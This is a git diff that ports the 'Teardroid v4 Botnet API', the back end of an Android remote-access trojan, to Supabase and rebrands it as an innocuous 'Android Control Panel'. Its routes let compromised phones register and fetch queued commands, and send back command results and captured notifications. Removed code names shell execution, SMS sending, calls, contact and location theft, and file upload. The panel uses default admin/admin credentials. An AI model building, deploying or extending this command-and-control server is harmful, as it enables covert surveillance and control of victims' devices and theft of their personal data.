diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000..1c1cede Binary files /dev/null and b/.DS_Store differ diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..cb0572b --- /dev/null +++ b/.env.example @@ -0,0 +1,11 @@ +# Supabase Configuration +SUPABASE_URL=https://your-project.supabase.co +SUPABASE_KEY=your-anon-key + +# JWT Secret (change this to a random string) +SECRET_KEY=your-super-secret-key-change-this + +# App Settings +DEBUG=True +PORT=8000 +HOST=0.0.0.0 diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..c7d1a47 --- /dev/null +++ b/.gitignore @@ -0,0 +1,13 @@ +.env +__pycache__/ +*.pyc +.DS_Store +*.egg-info/ +dist/ +build/ +.venv/ +venv/ +node_modules/ +.idea/ +.vscode/ +*.log diff --git a/.spaceignore b/.spaceignore new file mode 100644 index 0000000..2c9bcb5 --- /dev/null +++ b/.spaceignore @@ -0,0 +1,2 @@ +!build +!static \ No newline at end of file diff --git a/README.md b/README.md index 471a1e1..0f111b0 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,162 @@ -# Teardroidv4_api -Teardroid v4 Botnet API +# 🔥 Zeefer-Droid API -This api is for teardroid v4 botnet +Advanced Android Control Panel API built with FastAPI and Supabase. -Please visit https://github.com/ScRiPt1337/Teardroid-phprat to know about teardroid and how to use it +## Features -You can host it on [deta.sh](https://deta.sh/) +✅ **Authentication** - Secure JWT-based authentication +✅ **Device Management** - Register and manage Android devices +✅ **Command Execution** - Send and track commands on devices +✅ **Notifications** - Capture and manage notifications from devices +✅ **Real-time Sync** - Track device status and online/offline state -[![Deploy](https://button.deta.dev/1/svg)](https://go.deta.dev/deploy?repo=https://github.com/ScRiPt1337/Teardroidv4_api) +## Quick Start + +### Prerequisites + +- Python 3.9+ +- Supabase Account (free) +- pip + +### Installation + +1. **Clone the repository** +```bash +git clone https://github.com/ZEEFAST/Teardroidv4_api +cd Teardroidv4_api +``` + +2. **Create virtual environment** +```bash +python3 -m venv venv +source venv/bin/activate # On Windows: venv\Scripts\activate +``` + +3. **Install dependencies** +```bash +pip install -r requirements.txt +``` + +4. **Setup Supabase** + - Go to https://supabase.com + - Create new project + - Get your URL and Anon Key from Settings > API + - Create tables using SQL below + +5. **Create .env file** +```bash +cp .env.example .env +# Edit .env with your Supabase credentials +``` + +6. **Setup Database Tables** + +Run this SQL in Supabase SQL Editor: + +```sql +CREATE TABLE auth ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + username TEXT UNIQUE NOT NULL, + password TEXT NOT NULL, + created_at TIMESTAMP DEFAULT now() +); + +CREATE TABLE client ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + android_version TEXT, + device_name TEXT, + sim_operator TEXT, + sim_country TEXT, + interval INTEGER DEFAULT 3000, + active BOOLEAN DEFAULT true, + last_online TIMESTAMP, + created_at TIMESTAMP DEFAULT now() +); + +CREATE TABLE command ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + device_id UUID REFERENCES client(id), + command TEXT NOT NULL, + shell TEXT, + number TEXT, + data TEXT, + is_complete BOOLEAN DEFAULT false, + success BOOLEAN DEFAULT false, + response TEXT, + created_at TIMESTAMP DEFAULT now(), + completed_at TIMESTAMP +); + +CREATE TABLE notification ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + device_id UUID REFERENCES client(id), + package_name TEXT, + title TEXT, + body TEXT, + read BOOLEAN DEFAULT false, + created_at TIMESTAMP DEFAULT now() +); +``` + +7. **Run the API** +```bash +uvicorn main:app --reload --host 127.0.0.1 --port 8000 +``` + +Server running at: `http://localhost:8000` + +## API Endpoints + +### Authentication +- `POST /auth/login` - Login with credentials +- `POST /auth/change-password` - Change password + +### Clients +- `POST /client/add` - Register new device +- `GET /client/` - Get all devices +- `GET /client/device/{device_id}` - Get device info +- `DELETE /client/device/{device_id}` - Delete device + +### Commands +- `POST /command/send` - Send command to device +- `GET /command/device/{device_id}` - Get pending commands +- `POST /command/complete` - Mark command complete +- `GET /command/response/{command_id}` - Get command response +- `GET /command/history/{device_id}` - Get command history + +### Notifications +- `POST /notification/add` - Add notification +- `GET /notification/device/{device_id}` - Get device notifications +- `GET /notification/` - Get all notifications +- `PUT /notification/mark-read/{notification_id}` - Mark as read +- `DELETE /notification/device/{device_id}` - Delete device notifications + +## Default Credentials + +- **Username**: admin +- **Password**: admin + +⚠️ Change these immediately in production! + +## Testing on Android + +1. Get your computer's local IP: + - Windows: `ipconfig` + - Mac/Linux: `ifconfig` + +2. On Android phone (same WiFi): + ``` + http://192.168.X.X:8000 + ``` + +## Documentation + +API Documentation: `http://localhost:8000/docs` + +## Support + +For issues, create a GitHub issue. + +## License + +MIT License diff --git a/Spacefile b/Spacefile new file mode 100644 index 0000000..5387b94 --- /dev/null +++ b/Spacefile @@ -0,0 +1,15 @@ +# Spacefile Docs: https://go.deta.dev/docs/spacefile/v0 +v: 0 +icon: static/media/images.png +micros: + - name: python-app + src: . + engine: python3.9 + run: uvicorn main:app + public_routes: + - "/client/add" + - "/command/upload" + - "/command/complete" + - "/command/device/*" + - "/notification/add" + diff --git a/build/new.html b/build/new.html new file mode 100644 index 0000000..e9eb61b --- /dev/null +++ b/build/new.html @@ -0,0 +1,146 @@ + + + + + + + + + + + + + +
+ + + + + + + + + + + + thumb_up  Love it + + thumb_down  Nope it + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + \ No newline at end of file diff --git a/db/__init__.py b/db/__init__.py new file mode 100644 index 0000000..99ce574 --- /dev/null +++ b/db/__init__.py @@ -0,0 +1 @@ +# Database package diff --git a/db/__pycache__/database.cpython-310.pyc b/db/__pycache__/database.cpython-310.pyc index efec3fc..8765679 100644 Binary files a/db/__pycache__/database.cpython-310.pyc and b/db/__pycache__/database.cpython-310.pyc differ diff --git a/db/__pycache__/database.cpython-311.pyc b/db/__pycache__/database.cpython-311.pyc new file mode 100644 index 0000000..f28eef7 Binary files /dev/null and b/db/__pycache__/database.cpython-311.pyc differ diff --git a/db/database.py b/db/database.py index 03b4ec8..2d51abd 100644 --- a/db/database.py +++ b/db/database.py @@ -1,24 +1,38 @@ -from deta import Deta +from supabase import create_client, Client from os import getenv +from dotenv import load_dotenv -deta = Deta(getenv("DETA_PROJECT_KEY")) +load_dotenv() +# Initialize Supabase client +url = getenv("SUPABASE_URL") +key = getenv("SUPABASE_KEY") -def client_db(): - return deta.Base("client") +if not url or not key: + raise ValueError("SUPABASE_URL and SUPABASE_KEY environment variables are required!") +supabase: Client = create_client(url, key) -def notification_db(): - return deta.Base("notification") +def get_supabase(): + """Get Supabase client instance""" + return supabase +def client_db(): + """Access client table""" + return supabase.table("client") -def command_db(): - return deta.Base("command") +def notification_db(): + """Access notification table""" + return supabase.table("notification") +def command_db(): + """Access command table""" + return supabase.table("command") def auth_db(): - return deta.Base("auth") - + """Access auth table""" + return supabase.table("auth") -async def tear_drive(): - return deta.Drive("teardroid") +def storage(): + """Access storage bucket""" + return supabase.storage.from_("zeefer-droid") diff --git a/main.py b/main.py index adf2e2a..c6470fc 100644 --- a/main.py +++ b/main.py @@ -1,73 +1,65 @@ -from fastapi import FastAPI, Request -from fastapi.responses import JSONResponse, HTMLResponse, RedirectResponse +from fastapi import FastAPI from fastapi.middleware.cors import CORSMiddleware -from fastapi.staticfiles import StaticFiles -from pydantic import BaseModel -from fastapi_jwt_auth import AuthJWT -from fastapi_jwt_auth.exceptions import AuthJWTException -from starlette.exceptions import HTTPException as StarletteHTTPException +from fastapi.responses import JSONResponse +from dotenv import load_dotenv +import os + +# Load environment variables +load_dotenv() + +# Import routers +from routers.auth import auth from routers.client import client from routers.command import command from routers.notification import notification -from routers.auth import auth - +# Create FastAPI app app = FastAPI( - version="4.0", - title="Teardroid v2 - BOTNET", - description="Teardroid v2 - BOTNET", + title="Zeefer-Droid API", + description="Advanced Android Control Panel API", + version="1.0.0", + docs_url=None, redoc_url=None, ) -origins = ["*"] -app.include_router(client.router) -app.include_router(command.router) -app.include_router(notification.router) -app.include_router(auth.router) -auth.check_auth() -app.mount("/v4", StaticFiles(directory="build", html=True), name="build") -app.mount("/static", StaticFiles(directory="static", html=True), name="static") +# Add CORS middleware app.add_middleware( CORSMiddleware, - allow_origins=origins, + allow_origins=["*"], allow_credentials=True, allow_methods=["*"], allow_headers=["*"], ) +# Include routers +app.include_router(auth.router) +app.include_router(client.router) +app.include_router(command.router) +app.include_router(notification.router) -class Settings(BaseModel): - authjwt_secret_key: str = "jaihind" - - -# callback to get your configuration -@AuthJWT.load_config -def get_config(): - return Settings() - - -@app.exception_handler(AuthJWTException) -def authjwt_exception_handler(request: Request, exc: AuthJWTException): - return JSONResponse(status_code=exc.status_code, content={"detail": exc.message}) - - -@app.exception_handler(StarletteHTTPException) -async def custom_http_exception_handler(request, exc): - if exc.status_code == 404: - return HTMLResponse(open("build/index.html", "rb").read()) - return JSONResponse(status_code=exc.status_code, content={"detail": exc.detail}) - - -@app.route("/v4") -async def index(request: Request): - return HTMLResponse(open("build/index.html", "rb").read()) - +# Health check endpoint +@app.get("/health") +async def health_check(): + return JSONResponse({ + "status": "ok", + "app": "zeefer-droid", + "version": "1.0.0" + }) @app.get("/") async def root(): - return RedirectResponse("/v4/overview") - - -@app.get("/version") -async def version(): - return {"version": app.version} + return JSONResponse({ + "message": "Welcome to Zeefer-Droid API", + "version": "1.0.0", + "endpoints": { + "health": "/health", + "auth": "/auth/login", + "clients": "/client/", + "commands": "/command/", + "notifications": "/notification/" + } + }) + +if __name__ == "__main__": + import uvicorn + uvicorn.run(app, host="0.0.0.0", port=8000) diff --git a/requirements.txt b/requirements.txt index fd89d01..4a9d0a0 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,4 +1,10 @@ -fastapi -deta -python-multipart -fastapi-jwt-auth \ No newline at end of file +fastapi==0.104.1 +uvicorn[standard]==0.24.0 +python-multipart==0.0.27 +fastapi-jwt-auth==0.3.3 +python-jose[cryptography]==3.4.0 +pydantic==2.5.0 +supabase==2.4.0 +python-dotenv==1.2.2 +requests==2.33.0 +cryptography==46.0.7 diff --git a/routers/.DS_Store b/routers/.DS_Store new file mode 100644 index 0000000..38a019b Binary files /dev/null and b/routers/.DS_Store differ diff --git a/routers/__init__.py b/routers/__init__.py index e69de29..873f7bb 100644 --- a/routers/__init__.py +++ b/routers/__init__.py @@ -0,0 +1 @@ +# Routers package diff --git a/routers/__pycache__/__init__.cpython-310.pyc b/routers/__pycache__/__init__.cpython-310.pyc deleted file mode 100644 index 2d6d265..0000000 Binary files a/routers/__pycache__/__init__.cpython-310.pyc and /dev/null differ diff --git a/routers/auth/.DS_Store b/routers/auth/.DS_Store new file mode 100644 index 0000000..7698f89 Binary files /dev/null and b/routers/auth/.DS_Store differ diff --git a/routers/auth/__init__.py b/routers/auth/__init__.py index e69de29..4834484 100644 --- a/routers/auth/__init__.py +++ b/routers/auth/__init__.py @@ -0,0 +1 @@ +# Auth package diff --git a/routers/auth/__pycache__/__init__.cpython-310.pyc b/routers/auth/__pycache__/__init__.cpython-310.pyc deleted file mode 100644 index 30e703b..0000000 Binary files a/routers/auth/__pycache__/__init__.cpython-310.pyc and /dev/null differ diff --git a/routers/auth/__pycache__/auth.cpython-310.pyc b/routers/auth/__pycache__/auth.cpython-310.pyc deleted file mode 100644 index 052ec46..0000000 Binary files a/routers/auth/__pycache__/auth.cpython-310.pyc and /dev/null differ diff --git a/routers/auth/auth.py b/routers/auth/auth.py index 3f9074a..546f898 100644 --- a/routers/auth/auth.py +++ b/routers/auth/auth.py @@ -1,59 +1,108 @@ -from fastapi import APIRouter, Depends -from pydantic import BaseModel +from fastapi import APIRouter, Depends, HTTPException from fastapi.responses import JSONResponse -from fastapi.exceptions import HTTPException +from pydantic import BaseModel from fastapi_jwt_auth import AuthJWT from db.database import auth_db +from datetime import datetime router = APIRouter( prefix="/auth", tags=["auth"], - responses={404: {"description": "Not found"}}, ) -auth_db = auth_db() - - -class client(BaseModel): +class LoginRequest(BaseModel): username: str password: str - -class password(BaseModel): +class ChangePasswordRequest(BaseModel): old_password: str new_password: str +class Settings(BaseModel): + authjwt_secret_key: str = "zeefer-droid-super-secret-key" + authjwt_access_token_expires: int = 3600 -def check_auth(): - data = auth_db.fetch().items - if len(data) == 0: - auth_db.put({"username": "admin", "password": "admin"}) - else: - pass +@AuthJWT.load_config +def get_config(): + return Settings() +def check_auth(): + """Initialize default admin account if not exists""" + try: + db = auth_db() + response = db.select("*").eq("username", "admin").execute() + + if not response.data or len(response.data) == 0: + db.insert({ + "username": "admin", + "password": "admin", + "created_at": datetime.now().isoformat() + }).execute() + print("✓ Default admin account created") + else: + print("✓ Admin account already exists") + except Exception as e: + print(f"⚠ Auth check failed: {str(e)}") @router.post("/login") -async def add_client(client: client, Authorize: AuthJWT = Depends()): - user = auth_db.fetch( - {"username": client.username, "password": client.password} - ).items - if len(user) == 0: - raise HTTPException(status_code=401, detail="User not found") - access_token = Authorize.create_access_token(subject=client.username,expires_time=False) - return JSONResponse( - { +async def login(credentials: LoginRequest, Authorize: AuthJWT = Depends()): + """ + Login endpoint - returns JWT token + + Default credentials: + - username: admin + - password: admin + """ + try: + db = auth_db() + response = db.select("*").eq("username", credentials.username).eq("password", credentials.password).execute() + + if not response.data or len(response.data) == 0: + raise HTTPException(status_code=401, detail="Invalid credentials") + + access_token = Authorize.create_access_token( + subject=credentials.username, + expires_time=3600 + ) + + return JSONResponse({ "success": True, "token": access_token, - "message": "login successfully", - } - ) - - -@router.post("/password/change") -async def get_client(password: password,Authorize: AuthJWT = Depends()): - Authorize.jwt_required() - data = auth_db.fetch({"password": password.old_password}).items - if len(data) == 0: - raise HTTPException(status_code=401, detail="Incorrect old password") - auth_db.update(key=data[0]["key"], updates={"password": password.new_password}) - return JSONResponse({"success": True, "message": "password changed successfully"}) + "message": "Login successful", + "user": credentials.username + }) + except HTTPException: + raise + except Exception as e: + raise HTTPException(status_code=500, detail=f"Login error: {str(e)}") + +@router.post("/change-password") +async def change_password(request: ChangePasswordRequest, Authorize: AuthJWT = Depends()): + """Change user password""" + try: + Authorize.jwt_required() + username = Authorize.get_jwt_subject() + + db = auth_db() + + # Verify old password + response = db.select("*").eq("username", username).eq("password", request.old_password).execute() + + if not response.data or len(response.data) == 0: + raise HTTPException(status_code=401, detail="Incorrect old password") + + # Update password + user_id = response.data[0]["id"] + db.update({"password": request.new_password}).eq("id", user_id).execute() + + return JSONResponse({ + "success": True, + "message": "Password changed successfully" + }) + except HTTPException: + raise + except Exception as e: + raise HTTPException(status_code=500, detail=f"Error: {str(e)}") + +# Initialize auth on startup +check_auth() diff --git a/routers/client/.DS_Store b/routers/client/.DS_Store new file mode 100644 index 0000000..85e4253 Binary files /dev/null and b/routers/client/.DS_Store differ diff --git a/routers/client/__init__.py b/routers/client/__init__.py index e69de29..1d1ca82 100644 --- a/routers/client/__init__.py +++ b/routers/client/__init__.py @@ -0,0 +1 @@ +# Client package diff --git a/routers/client/__pycache__/__init__.cpython-310.pyc b/routers/client/__pycache__/__init__.cpython-310.pyc deleted file mode 100644 index 7918de4..0000000 Binary files a/routers/client/__pycache__/__init__.cpython-310.pyc and /dev/null differ diff --git a/routers/client/__pycache__/client.cpython-310.pyc b/routers/client/__pycache__/client.cpython-310.pyc deleted file mode 100644 index 885702c..0000000 Binary files a/routers/client/__pycache__/client.cpython-310.pyc and /dev/null differ diff --git a/routers/client/client.py b/routers/client/client.py index 00eea2d..34e4c02 100644 --- a/routers/client/client.py +++ b/routers/client/client.py @@ -1,61 +1,103 @@ -from datetime import datetime -from fastapi import APIRouter, Depends -from pydantic import BaseModel +from fastapi import APIRouter, HTTPException, Depends from fastapi.responses import JSONResponse -from fastapi.encoders import jsonable_encoder +from pydantic import BaseModel from fastapi_jwt_auth import AuthJWT from db.database import client_db +from datetime import datetime router = APIRouter( prefix="/client", tags=["client"], - responses={404: {"description": "Not found"}}, ) -client_db = client_db() - - -class client(BaseModel): +class ClientInfo(BaseModel): android_version: str device_name: str sim_operator: str sim_country: str - interval: str = 3000 + interval: int = 3000 active: bool = True - last_online: datetime = datetime.now().strftime("%Y-%m-%d %H:%M:%S") - - -async def update_lasttime(device_id: str): - client_db.update( - key=device_id, - updates={"last_online": datetime.now().strftime("%Y-%m-%d %H:%M:%S")}, - ) - @router.post("/add") -async def add_client(client: client): - user = client_db.put(jsonable_encoder(client)) - return JSONResponse( - {"success": True, "key": user["key"], "message": "client added successfully"} - ) - - -@router.get("/device/{key}") -async def get_client(key: str, Authorize: AuthJWT = Depends()): - Authorize.jwt_required() - return JSONResponse({"success": True, "client": client_db.get(key)}) - +async def add_client(client_info: ClientInfo): + """Register a new client device""" + try: + db = client_db() + + data = { + "android_version": client_info.android_version, + "device_name": client_info.device_name, + "sim_operator": client_info.sim_operator, + "sim_country": client_info.sim_country, + "interval": client_info.interval, + "active": client_info.active, + "last_online": datetime.now().isoformat(), + "created_at": datetime.now().isoformat() + } + + response = db.insert(data).execute() + + return JSONResponse({ + "success": True, + "device_id": response.data[0]["id"] if response.data else None, + "message": "Client registered successfully" + }) + except Exception as e: + raise HTTPException(status_code=500, detail=f"Error: {str(e)}") @router.get("/") async def get_all_clients(Authorize: AuthJWT = Depends()): - Authorize.jwt_required() - return JSONResponse( - { + """Get all registered clients""" + try: + Authorize.jwt_required() + + db = client_db() + response = db.select("*").order("last_online", desc=True).execute() + + return JSONResponse({ "success": True, - "clients": sorted( - client_db.fetch().items, - key=lambda i: datetime.fromisoformat(i["last_online"]), - reverse=True, - ), - } - ) + "total": len(response.data), + "clients": response.data + }) + except Exception as e: + raise HTTPException(status_code=500, detail=f"Error: {str(e)}") + +@router.get("/device/{device_id}") +async def get_client(device_id: str, Authorize: AuthJWT = Depends()): + """Get specific client device info""" + try: + Authorize.jwt_required() + + db = client_db() + response = db.select("*").eq("id", device_id).execute() + + if not response.data: + raise HTTPException(status_code=404, detail="Device not found") + + # Update last_online + db.update({"last_online": datetime.now().isoformat()}).eq("id", device_id).execute() + + return JSONResponse({ + "success": True, + "client": response.data[0] + }) + except HTTPException: + raise + except Exception as e: + raise HTTPException(status_code=500, detail=f"Error: {str(e)}") + +@router.delete("/device/{device_id}") +async def delete_client(device_id: str, Authorize: AuthJWT = Depends()): + """Delete a client device""" + try: + Authorize.jwt_required() + + db = client_db() + db.delete().eq("id", device_id).execute() + + return JSONResponse({ + "success": True, + "message": "Device deleted successfully" + }) + except Exception as e: + raise HTTPException(status_code=500, detail=f"Error: {str(e)}") diff --git a/routers/command/.DS_Store b/routers/command/.DS_Store new file mode 100644 index 0000000..d2a4ad3 Binary files /dev/null and b/routers/command/.DS_Store differ diff --git a/routers/command/__init__.py b/routers/command/__init__.py index e69de29..c115eb7 100644 --- a/routers/command/__init__.py +++ b/routers/command/__init__.py @@ -0,0 +1 @@ +# Command package diff --git a/routers/command/__pycache__/__init__.cpython-310.pyc b/routers/command/__pycache__/__init__.cpython-310.pyc deleted file mode 100644 index 3c0462d..0000000 Binary files a/routers/command/__pycache__/__init__.cpython-310.pyc and /dev/null differ diff --git a/routers/command/__pycache__/command.cpython-310.pyc b/routers/command/__pycache__/command.cpython-310.pyc deleted file mode 100644 index 2d0af08..0000000 Binary files a/routers/command/__pycache__/command.cpython-310.pyc and /dev/null differ diff --git a/routers/command/command.py b/routers/command/command.py index 06e333b..7672c0b 100644 --- a/routers/command/command.py +++ b/routers/command/command.py @@ -1,182 +1,141 @@ -from datetime import datetime -from fastapi import APIRouter, File, UploadFile, Depends +from fastapi import APIRouter, HTTPException, Depends +from fastapi.responses import JSONResponse from pydantic import BaseModel -from fastapi.responses import JSONResponse, StreamingResponse -from fastapi.encoders import jsonable_encoder -from db.database import command_db, tear_drive -from routers.client import client from fastapi_jwt_auth import AuthJWT +from db.database import command_db, client_db +from datetime import datetime +import uuid router = APIRouter( prefix="/command", tags=["command"], - responses={404: {"description": "Not found"}}, ) -command_db = command_db() - - -class command_info(BaseModel): +class CommandRequest(BaseModel): device_id: str command: str shell: str = None number: str = None data: str = None - iscomplete: bool = False - success: bool = False - response: str = None - date: datetime = datetime.now().strftime("%Y-%m-%d %H:%M:%S") - response_date: str = None - -class complete(BaseModel): - command_key: str +class CommandComplete(BaseModel): + command_id: str response: str = None - iscomplete: bool = True success: bool = True - response_date: datetime = datetime.now().strftime("%Y-%m-%d %H:%M:%S") - -@router.post("/add") -async def add_command(command_info: command_info, Authorize: AuthJWT = Depends()): - Authorize.jwt_required() - command = command_db.put(jsonable_encoder(command_info)) - return JSONResponse( - { - "success": True, - "command_key": command["key"], - "device_id": command_info.device_id, - "message": "command executed successfully", +@router.post("/send") +async def send_command(req: CommandRequest, Authorize: AuthJWT = Depends()): + """Send command to device""" + try: + Authorize.jwt_required() + + db = command_db() + cdb = client_db() + + # Verify device exists + device = cdb.select("*").eq("id", req.device_id).execute() + if not device.data: + raise HTTPException(status_code=404, detail="Device not found") + + data = { + "id": str(uuid.uuid4()), + "device_id": req.device_id, + "command": req.command, + "shell": req.shell, + "number": req.number, + "data": req.data, + "is_complete": False, + "success": False, + "response": None, + "created_at": datetime.now().isoformat(), + "completed_at": None } - ) - + + response = db.insert(data).execute() + + return JSONResponse({ + "success": True, + "command_id": response.data[0]["id"], + "message": "Command sent successfully" + }) + except HTTPException: + raise + except Exception as e: + raise HTTPException(status_code=500, detail=f"Error: {str(e)}") @router.get("/device/{device_id}") -async def get_client(device_id: str): - await client.update_lasttime(device_id) - return JSONResponse( - { +async def get_pending_commands(device_id: str): + """Get pending commands for device""" + try: + db = command_db() + cdb = client_db() + + # Update last_online + cdb.update({"last_online": datetime.now().isoformat()}).eq("id", device_id).execute() + + response = db.select("*").eq("device_id", device_id).eq("is_complete", False).execute() + + return JSONResponse({ "success": True, - "command": command_db.fetch( - {"device_id": device_id, "iscomplete": False} - ).items, - } - ) - + "commands": response.data + }) + except Exception as e: + raise HTTPException(status_code=500, detail=f"Error: {str(e)}") @router.post("/complete") -async def get_all_clients(complete: complete): - command_db.update( - key=complete.command_key, - updates={ - "iscomplete": complete.iscomplete, - "response": complete.response, - "success": complete.success, - "response_date": complete.response_date, - }, - ) - return JSONResponse({"success": True, "message": "Task completed"}) - - -@router.get("/response/{command_key}") -async def get_response(command_key: str, Authorize: AuthJWT = Depends()): - Authorize.jwt_required() - singleResponse = ["runshell", "sendsms", "changewallpaper", "makecall"] - response = command_db.get(key=command_key) - if response["success"]: - if response["command"] in singleResponse: - return JSONResponse( - {"success": True, "response": response["response"].split("\n")} - ) - elif response["command"] == "listfile": - files = eval(response["response"])["files"] - return JSONResponse({"success": True, "response": files}) - elif response["command"] == "getlocation": - return JSONResponse( - {"success": True, "response": eval(response["response"])["location"]} - ) - elif response["command"] == "getservices": - return JSONResponse( - {"success": True, "response": eval(response["response"])["services"]} - ) - elif response["command"] == "getapps": - return JSONResponse( - { - "success": True, - "response": eval(response["response"])["installed_apps"], - } - ) - elif response["command"] == "getcontact": - contact = eval(response["response"])["contact"] - data = eval(str(contact)).items() - return JSONResponse({"success": True, "response": list(data)}) - elif response["command"] == "getfile": - return JSONResponse( - {"success": True, "response": eval(response["response"])["filename"]} - ) - else: - new_response = [] - data = eval(response["response"]) - header = list(data[list(data.keys())[0]][0].keys()) - response = data[list(data.keys())[0]] - for i in response: - new_response.append(list(i.values())) - return JSONResponse( - {"success": True, "header": header, "response": new_response} - ) - else: - return JSONResponse( - {"success": False, "message": "this command did not send any response"} - ) - - -@router.post("/upload") -async def upload_file(file: UploadFile = File(...)): - drive = await tear_drive() - name = file.filename - f = file.file - return JSONResponse( - { +async def complete_command(req: CommandComplete): + """Mark command as complete""" + try: + db = command_db() + + db.update({ + "is_complete": True, + "response": req.response, + "success": req.success, + "completed_at": datetime.now().isoformat() + }).eq("id", req.command_id).execute() + + return JSONResponse({ "success": True, - "filename": drive.put(name, f), - "message": "file uploaded successfully", - } - ) - - -@router.get("/download/{filename}") -async def download_file(filename: str): - drive = await tear_drive() - res = drive.get(filename) - return StreamingResponse( - res.iter_chunks(1024), - media_type="application/octet-stream", - headers={"Content-Disposition": 'attachment; filename="{}"'.format(filename)}, - ) - - -@router.get("/") -async def get_all_commands(Authorize: AuthJWT = Depends()): - Authorize.jwt_required() - data = command_db.fetch().items - for command in data: - del command["response"] - return JSONResponse({"success": True, "command": sorted(data, key=lambda i: datetime.fromisoformat(i["date"]),reverse=True)}) - - -@router.get("/delete/id/{command_key}") -async def delete_command(command_key: str, Authorize: AuthJWT = Depends()): - Authorize.jwt_required() - command_db.delete(key=command_key) - return JSONResponse({"success": True, "message": "command deleted successfully"}) - - -@router.get("/delete/all") -async def delete_all_commands(Authorize: AuthJWT = Depends()): - Authorize.jwt_required() - data = command_db.fetch().items - for i in data: - command_db.delete(key=i["key"]) - return JSONResponse( - {"success": True, "message": "all commands deleted successfully"} - ) + "message": "Command marked as complete" + }) + except Exception as e: + raise HTTPException(status_code=500, detail=f"Error: {str(e)}") + +@router.get("/response/{command_id}") +async def get_command_response(command_id: str, Authorize: AuthJWT = Depends()): + """Get command response""" + try: + Authorize.jwt_required() + + db = command_db() + response = db.select("*").eq("id", command_id).execute() + + if not response.data: + raise HTTPException(status_code=404, detail="Command not found") + + return JSONResponse({ + "success": True, + "command": response.data[0] + }) + except HTTPException: + raise + except Exception as e: + raise HTTPException(status_code=500, detail=f"Error: {str(e)}") + +@router.get("/history/{device_id}") +async def get_command_history(device_id: str, Authorize: AuthJWT = Depends()): + """Get command history for device""" + try: + Authorize.jwt_required() + + db = command_db() + response = db.select("*").eq("device_id", device_id).order("created_at", desc=True).execute() + + return JSONResponse({ + "success": True, + "total": len(response.data), + "commands": response.data + }) + except Exception as e: + raise HTTPException(status_code=500, detail=f"Error: {str(e)}") diff --git a/routers/notification/.DS_Store b/routers/notification/.DS_Store new file mode 100644 index 0000000..433604a Binary files /dev/null and b/routers/notification/.DS_Store differ diff --git a/routers/notification/__init__.py b/routers/notification/__init__.py index e69de29..24b5599 100644 --- a/routers/notification/__init__.py +++ b/routers/notification/__init__.py @@ -0,0 +1 @@ +# Notification package diff --git a/routers/notification/__pycache__/__init__.cpython-310.pyc b/routers/notification/__pycache__/__init__.cpython-310.pyc deleted file mode 100644 index 313bcec..0000000 Binary files a/routers/notification/__pycache__/__init__.cpython-310.pyc and /dev/null differ diff --git a/routers/notification/__pycache__/notification.cpython-310.pyc b/routers/notification/__pycache__/notification.cpython-310.pyc deleted file mode 100644 index 648bfe2..0000000 Binary files a/routers/notification/__pycache__/notification.cpython-310.pyc and /dev/null differ diff --git a/routers/notification/notification.py b/routers/notification/notification.py index f340910..b80fd73 100644 --- a/routers/notification/notification.py +++ b/routers/notification/notification.py @@ -1,83 +1,119 @@ -from datetime import datetime -from fastapi import APIRouter, Depends -from pydantic import BaseModel +from fastapi import APIRouter, HTTPException, Depends from fastapi.responses import JSONResponse -from fastapi.encoders import jsonable_encoder +from pydantic import BaseModel from fastapi_jwt_auth import AuthJWT from db.database import notification_db +from datetime import datetime +import uuid router = APIRouter( prefix="/notification", tags=["notification"], - responses={404: {"description": "Not found"}}, ) -notification_db = notification_db() - - -class notification(BaseModel): - id: str +class NotificationData(BaseModel): device_id: str - Package: str - titleText: str = "null" - notificationBodyText: str = "null" - date: datetime = datetime.now().strftime("%Y-%m-%d %H:%M:%S") - + package_name: str + title: str + body: str @router.post("/add") -async def add_notification(notification: notification): - response = jsonable_encoder(notification) - del response["id"] - del response["date"] - data = notification_db.fetch(response).items - if len(data) > 0: - return JSONResponse({"success": False, "message": "notification already exists"}) - notification_db.put(jsonable_encoder(notification)) - return JSONResponse({"success": True, "message": "notification added successfully"}) - - -@router.get("/device/{device_name}") -async def get_notification(device_name: str, Authorize: AuthJWT = Depends()): - Authorize.jwt_required() - response = [] - data = notification_db.fetch({"device_id": device_name}).items - for i in data: - del i["key"] - del i["id"] - response.append(list(i.values())) - return JSONResponse( - { - "success": True, - "notification": response, +async def add_notification(notification: NotificationData): + """Add notification from device""" + try: + db = notification_db() + + # Check if notification already exists (avoid duplicates) + existing = db.select("*").eq("device_id", notification.device_id).eq("package_name", notification.package_name).eq("title", notification.title).execute() + + if existing.data and len(existing.data) > 0: + return JSONResponse({ + "success": False, + "message": "Notification already exists" + }) + + data = { + "id": str(uuid.uuid4()), + "device_id": notification.device_id, + "package_name": notification.package_name, + "title": notification.title, + "body": notification.body, + "read": False, + "created_at": datetime.now().isoformat() } - ) + + response = db.insert(data).execute() + + return JSONResponse({ + "success": True, + "notification_id": response.data[0]["id"], + "message": "Notification added successfully" + }) + except Exception as e: + raise HTTPException(status_code=500, detail=f"Error: {str(e)}") +@router.get("/device/{device_id}") +async def get_notifications(device_id: str, Authorize: AuthJWT = Depends()): + """Get notifications for device""" + try: + Authorize.jwt_required() + + db = notification_db() + response = db.select("*").eq("device_id", device_id).order("created_at", desc=True).execute() + + return JSONResponse({ + "success": True, + "total": len(response.data), + "notifications": response.data + }) + except Exception as e: + raise HTTPException(status_code=500, detail=f"Error: {str(e)}") @router.get("/") -async def get_notifications(Authorize: AuthJWT = Depends()): - Authorize.jwt_required() - response = [] - data = notification_db.fetch().items - for i in data: - del i["key"] - del i["id"] - response.append(list(i.values())) - return JSONResponse( - { +async def get_all_notifications(Authorize: AuthJWT = Depends()): + """Get all notifications""" + try: + Authorize.jwt_required() + + db = notification_db() + response = db.select("*").order("created_at", desc=True).execute() + + return JSONResponse({ "success": True, - "notification": sorted( - response, key=lambda i: datetime.fromisoformat(i[1]), reverse=True - ), - } - ) + "total": len(response.data), + "notifications": response.data + }) + except Exception as e: + raise HTTPException(status_code=500, detail=f"Error: {str(e)}") +@router.put("/mark-read/{notification_id}") +async def mark_notification_read(notification_id: str, Authorize: 